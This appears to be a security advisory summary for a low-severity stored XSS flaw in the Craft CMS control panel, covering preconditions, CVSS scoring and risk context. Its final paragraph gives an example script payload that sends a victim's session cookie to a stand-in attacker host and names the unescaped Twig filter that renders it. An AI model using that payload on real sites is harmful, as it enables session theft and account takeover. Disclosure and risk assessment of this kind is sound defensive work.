Craft CMS EUVD-2026-38159

Exploitation requires two explicit preconditions: (1) the attacker must hold administrator-level access to the Craft CMS control panel, and (2) the allowAdminChanges configuration option must be set to true - Craft CMS's own security documentation recommends disabling this in production environments, making it a non-default production configuration. Additionally, a victim user (administrator or editor) must navigate to a control panel page that renders the poisoned label (e.g., the Entries field sources checklist for a poisoned section name, or the user permissions page for a poisoned user group name). Deployments with allowAdminChanges = false cannot be exploited at the injection phase. Non-admin users who cannot access admin settings pages are not at risk as attackers. The attack is fully contained within the Craft CMS control panel and does not affect the public-facing site.

The CVSS 4.0 score of 4.6 with PR:H (high privileges required) and UI:A (active user interaction) accurately reflects the constrained attack path: exploitation requires administrator credentials plus a victim admin or editor navigating affected pages. Critically, the allowAdminChanges configuration option must be enabled - Craft CMS's own security guidelines explicitly recommend disabling this in production, meaning many production deployments are architecturally protected at the injection point. EPSS data was not provided. No CISA KEV listing exists, indicating no confirmed mass exploitation. A PoC is present in the GHSA advisory but the upstream changelog self-classifies this as low severity. The net risk profile is primarily relevant to multi-admin environments where a malicious or compromised admin targets other control-panel users - a privilege escalation / lateral movement scenario within the CMS admin tier, not a remotely exploitable unauthenticated attack.

A malicious or compromised administrator injects a JavaScript session-stealing payload into a section name (e.g., <script>document.location='https://attacker.example/steal?c='+document.cookie</script>) via /admin/settings/sections. When a second administrator or editor opens the Entries field configuration and views the sources checklist - which renders section names via the unescaped {{ label|raw }} Twig filter - the payload executes in their browser, exfiltrating their Craft CMS session token to the attacker. A proof of concept for this flow is documented in GHSA-4mgv-366x-qxvx.